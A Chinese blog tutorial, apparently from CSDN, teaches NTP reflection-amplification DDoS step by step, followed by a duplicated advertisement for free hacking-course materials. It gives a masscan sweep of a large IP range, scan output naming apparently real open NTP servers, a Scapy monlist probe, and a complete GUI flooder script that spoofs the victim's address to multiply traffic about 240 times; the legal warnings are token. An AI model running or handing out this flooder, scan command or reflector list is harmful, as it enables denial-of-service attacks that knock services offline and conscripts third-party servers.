【教程】如何DDOS攻击敬告《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定对计算机信息系统功能进行删除、修改、增加、干扰造成计算机信息系统不能正常运行后果严重的处五年以下有期徒刑或者拘役;后果特别严重的处五年以上有期徒刑。违反国家规定对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作后果严重的依照前款的规定处罚。故意制作、传播计算机病毒等破坏性程序影响计算机系统正常运行后果严重的依照第一款的规定处罚。单位犯前三款罪的对单位判处罚金并对其直接负责的主管人员和其他直接责任人员依照第一款的规定处罚。一、DDos攻击方式的选择DDos攻击通常指使用大量网络设备向某个指定主机发送大量无用的数据包阻塞其网络使得正常的数据包无法稳定传输而达到拒绝服务的一种攻击方式。1. DDos的分类总体分类来看DDOS可以分为三类直接攻击型往往需要大量僵尸主机与我们的目标-低成本DDOS背道而驰反射型虽然不需要大量僵尸网络也可以隐藏真实ip但是却无法放大流量反射放大型在反射的基础之上增加放大威力加倍2. 放大型DDos的步骤以此来看呢很明显反射放大型DDOS是性价比最高的DDOS攻击。放大型DDos具体的原理非常简单大致分为四个步骤攻击者将有欺骗性 IP 地址的 UDP 数据包发送到反射服务器。数据包上的欺骗性地址指向受害者的真实 IP 地址。每个 UDP 数据包都向反射服务器发出请求通常是基于某个协议以接收尽可能最大的响应。反射服务器收到请求后会向欺骗性 IP 地址发送较大的响应。目标的 IP 地址接收响应其周边的网络基础设施被大量流量淹没从而导致拒绝服务。达到四两拨千斤的攻击效果。在反射放大型DDos的实际操作过程中有许多协议都可以利用其中较为著名的有DNS放大SSDP放大NTP放大等。放大倍率如下常见放大攻击| | | || — | — | — || 协议 | 端口 | 理论放大倍数 || DNS | 53 | 28~54 || NTP | 123 | 556.9 || SNMP | 161 | 6.3 || SSDP | 1900 | 30.8 || PОRTMAP | 111 | 7~28 || QOTD | 17 | 140.3 || CHARGEN | 19 | 358.8 || TFTP | 69 | 60 || NETBIOS | 138 | 3.8 || MEMCACHED | 11211 | 10000~50000 || WS/_DISCOVERY | 3702 | 70~500 || CLDAP | 389 | 56~70 |可见其中放大倍率最高的攻击为MEMCACHED协议。然而MEMCACHAED放大DDOS已经被几乎完全修复。因此本文中我将带领大家实现NTP型DDos也是目前被黑客最广泛应用的DDos方式之一。二、NTP协议的漏洞首先我们具体分析一下NTP协议NTP协议中包含一个MONLIST功能该功能的初衷是用于监控NTP服务器。客户端可以构建一个90字节的Mongetlist数据包发送给NTP服务器。然后服务器接收到monlist请求后就会响应100个数据包每个数据包482字节。三、理论验证1. 收集反射源因此说想要实现NTP型DDos就必须收集反射服务器也就是查找开放123端口的主机。扫描主机时我们可以使用masscan高速互联网端口扫描软件。在Kail linux系统中输入以下命令就可以扫描。sudo masscan -pU:123 -oX ntp.xml --rate 160000 110.0.0.0-124.0.0.0这个命令的大致意思是-Pu:123使用UDP协议扫描端口123-oX ntp.xml输出文件文件格式为xml输出目标为ntp.xml–rate 160000扫描速度为每秒160000个数据包带宽越大这个数字就可以填写的越大110.0.0.0-124.0.0.0扫描的ip网段扫描全网时间太久?xml version1.0? !-- masscan v1.0 scan -- nmaprun scannermasscan start1729074937 version1.0-BETA xmloutputversion1.03 scaninfo typesyn protocoltcp / host endtime1729074937address addr111.87.65.18 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729075703address addr119.195.171.9 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729076264address addr121.247.27.190 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729076270address addr116.147.121.133 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729078039address addr113.111.104.235 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729079781address addr113.111.128.34 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host ... host endtime1729080374address addr119.172.95.233 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729082019address addr120.204.117.76 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729083980address addr123.119.8.68 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729086213address addr115.140.209.102 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729086373address addr114.252.232.105 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host host endtime1729090630address addr122.222.248.16 addrtypeipv4/portsport protocoludp portid123state stateopen reasonnone reason_ttl0//port/ports/host2. 验证反射源接下来我们随便从中选择一个ip用Python的Scapy发送一个MONGETLIST请求看看会不会响应from scapy.all import * data /x17/x00/x03/x2a /x00 * 44 # NTP monlist packet packet IP(dst103.97.200.65) / UDP(sport22333, dport123) / Raw(loaddata) send(packet)这里我们首先构建一个data数据包其中的数据就是一个monlist的请求。接下来我们可以使用Wireshark来监听我们自己的端口22333来检查NTP服务器是否响应了我们的请求。可见我们的主机发送了一个90字节的请求后NTP服务器立马响应了100个数据包每个数据包都是482个字节。至此我们的理论验证没有问题。四、编写最终脚本1. 测试用的脚本接下来我们完善一下发送数据包的脚本增加一个UI面板同时实现多线程同时发包。这样就能测试在反复发包时候的流量倍率了。import base64 import tkinter as tk from collections import Counter from multiprocessing import Process, Value, freeze_support from tkinter import filedialog, messagebox, scrolledtext import threading import time from scapy.all import * from logo import * sending Value(i, 0) def stop_filter(stop_event): return stop_event.is_set() def sniffer(collected_ips, all_packets, stop_event, adepter): # Sniffs incoming network traffic on UDP port 123 sniff(filterudp port 123, store0, prnlambda p: analyser(p, collected_ips, all_packets), ifaceWLAN, stop_filterlambda x: stop_filter(stop_event)) def analyser(packet, collected_ips, all_packets): if len(packet) 200 and packet.haslayer(IP): ip_src packet.getlayer(IP).src all_packets.append(ip_src) if ip_src not in collected_ips: collected_ips.append(ip_src) def get_available_monlist_servers(monlist_path, scantimes2, fliter_magnification1, adepterWLAN, scandelay0.02): collected_ips [] # List to store collected IPs all_packets [] stop_event threading.Event() # Create a stop event # Start the sniffer thread sniffer_thread threading.Thread(targetsniffer, args(collected_ips, all_packets, stop_event, adepter)) sniffer_thread.start() # Send packets to each address from the monlist file for i in range(scantimes): with open(monlist_path, r, encodingutf-8) as logfile: for address in logfile: address address.strip() send(IP(dstaddress) / UDP(sport123, dport123) / Raw(loadb/x10/x00/x03/x20 b/x00 * 44), verbose0, ifaceadepter) time.sleep(scandelay) time.sleep(5) # Set the stop event to signal the sniffer to stop stop_event.set() # send a packet to trigger the stop event send(IP(dst127.0.0.1) / UDP(sport123, dport123) / Raw(loadshutdown), ifaceadepter, verbose0) # Wait for the sniffer thread to finish sniffer_thread.join() count Counter(all_packets) # 排序完成 # 筛选出发包次数较多的反弹服务器 if fliter_magnification disable: sorted_count list(dict(sorted(count.items(), keylambda item: item[1], reverseTrue)).keys()) return sorted_count, sorted_count result list(dict( sorted(((key, value) for key, value in count.items() if value int(fliter_magnification) * scantimes), keylambda item: item[1], reverseTrue)).keys()) return result, result # Return the collected IPs list def send_packets_(text, target_ip, target_port, sending, adepter): ntp_servers text.split(/n) if target_port random: while sending.value: mpacket IP(srctarget_ip, dstntp_servers) / UDP(sportrandom.randint(1, 65535), dport123) / Raw( loadb/x10/x00/x03/x2a b/x00 * 44) send(mpacket, verbose0, ifaceadepter) elif - in target_port: ports target_port.split(-) print(ports) while sending.value: mpacket IP(srctarget_ip, dstntp_servers) / UDP(sportrandom.randint(int(ports[0]), int(ports[1])), dport123) / Raw( loadb/x10/x00/x03/x2a b/x00 * 44) send(mpacket, verbose0, ifaceadepter) else: mpacket IP(srctarget_ip, dstntp_servers) / UDP(sportint(target_port), dport123) / Raw( loadb/x10/x00/x03/x2a b/x00 * 44) while sending.value: send(mpacket, verbose0, ifaceadepter) class PacketSenderApp: def __init__(self, master): self.master master self.master.title(NTP Flooder) # Variables self.scandelay tk.DoubleVar(value0.02) self.scantimes tk.IntVar(value2) self.adepter tk.StringVar(valueWLAN) self.monlist_path tk.StringVar() self.target_ip tk.StringVar(value get_if_addr(WLAN)) self.process_count tk.IntVar(value1) self.target_port tk.StringVar(valuerandom) self.check_servers tk.BooleanVar() self.magnification tk.StringVar(valuedisable) # UI Elements tk.Label(master, textMonlist File:).grid(row0, column0) tk.Entry(master, textvariableself.monlist_path).grid(row0, column1) tk.Button(master, textBrowse, commandself.browse_monlist).grid(row0, column2) tk.Label(master, textTarget IP:).grid(row1, column0) tk.Entry(master, textvariableself.target_ip).grid(row1, column1) tk.Label(master, textTarget port:).grid(row2, column0) tk.Entry(master, textvariableself.target_port).grid(row2, column1) tk.Label(master, textProcess Count:).grid(row3, column0) tk.Entry(master, textvariableself.process_count).grid(row3, column1) self.start_button tk.Button(master, textStart Sending, commandself.start_stop_sending) self.start_button.grid(row4, columnspan3) self.check_button tk.Button(master, textCheck Available Servers, commandself.check_available_servers) self.check_button.grid(row5, columnspan3) # 文本框显示可用的 NTP 服务器 self.server_text scrolledtext.ScrolledText(master, width40, height10) self.server_text.grid(row6, columnspan3) tk.Label(master, textMagnification filter:).grid(row7, column0) tk.Entry(master, textvariableself.magnification).grid(row7, column1) tk.Label(master, textNet Adepter).grid(row8, column0) tk.Entry(master, textvariableself.adepter).grid(row8, column1) tk.Label(master, textScan times).grid(row9, column0) tk.Entry(master, textvariableself.scantimes).grid(row9, column1) tk.Label(master, textScan Delay(s)).grid(row10, column0) tk.Entry(master, textvariableself.scandelay).grid(row10, column1) self.is_sending 0 self.master.protocol(WM_DELETE_WINDOW, self.on_closing) def on_closing(self): if self.is_sending: if messagebox.askyesno(Confirm, Packets are currently being sent. Do you really want to exit?): self.is_sending 0 sending.value 0 self.master.destroy() # 关闭窗口 else: self.master.destroy() # 直接关闭窗口 def browse_monlist(self): file_path filedialog.askopenfilename(filetypes[(Text files, *.txt)]) self.monlist_path.set(file_path) if not os.path.exists(self.monlist_path.get()): return with open(file_path, r, encodingutf-8) as f: self.server_text.delete(1.0, tk.END) self.server_text.insert(tk.END, f.read()) def start_stop_sending(self): if not self.is_sending: process_count self.process_count.get() self.is_sending 1 self.start_button.config(textStop Sending) text self.server_text.get(1.0, tk.END) target_ip self.target_ip.get() target_port self.target_port.get() sending.value 1 for i in range(process_count): Process(targetsend_packets_, args(text, target_ip, target_port, sending, self.adepter.get())).start() else: self.is_sending 0 sending.value 0 self.start_button.config(textStart Sending) def check_available_servers(self): monlist_path self.monlist_path.get() _, servers get_available_monlist_servers(monlist_path, fliter_magnificationself.magnification.get(), adepterself.adepter.get(), scandelayself.scandelay.get(), scantimesself.scantimes.get()) # 假设这个函数返回可用的服务器列表 self.server_text.delete(1.0, tk.END) # 清空文本框 for server in servers: self.server_text.insert(tk.END, f{server}/n) # 在文本框中添加可用服务器 return servers if __name__ __main__: freeze_support() root tk.Tk() icon open(gui_icon.ico, wb) icon.write(base64.b64decode(img)) # 写入到临时文件中 icon.close() root.iconbitmap(gui_icon.ico) os.remove(gui_icon.ico) app PacketSenderApp(root) root.mainloop()直接运行代码2. 脚本的使用方法这个脚本的使用方法非常简单在输入框中输入可用的反射源NTP服务器或者从txt文件中加载。输入目标ip这里我输入我自己的ip这样就可以监控返回的流量输入目标端口NTP端口123输入线程数线程越多威力越大但是需要更强的网卡和CPU我这里输入1是因为我主要用于测试反射放大倍率点击“start sending”开始udp洪水3. 测试DDos的流量我们接下来在任务管理器里监听一下网卡的流量可见发包流量在500Kbps时返回的数据流量达到了120Mbps。做一个简单的除法就能得到其放大倍率是240倍。虽然没有达到理论的500倍放大但依然是很强的流量了依照这样计算攻击者就算使用普通的家庭宽带服务100兆的上传流量就可以打出2400兆的攻击流量。对于一些国内的低带宽服务器完全是碾压式的攻击。在把受害者所有的上行流量占满后任何流量清洗或防火墙都是纸糊的装甲。至此我们复现NTP型DDos就算圆满完成了。但是这里还是要提醒大家请勿攻击他人的设备或服务器否则都将会受到法律的制裁。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你**读者福利 |**CSDN大礼包《网络安全入门进阶学习资源包》免费分享**安全链接放心点击**![](https://i-blog.csdnimg.cn/img_convert/a6502ab41b1a86132b9ebb5aab9a2cdc.jpeg)知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群‌一、基础适配人群‌‌零基础转型者‌适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌‌开发/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业‌应届毕业生‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业3. ‌应届毕业生**‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】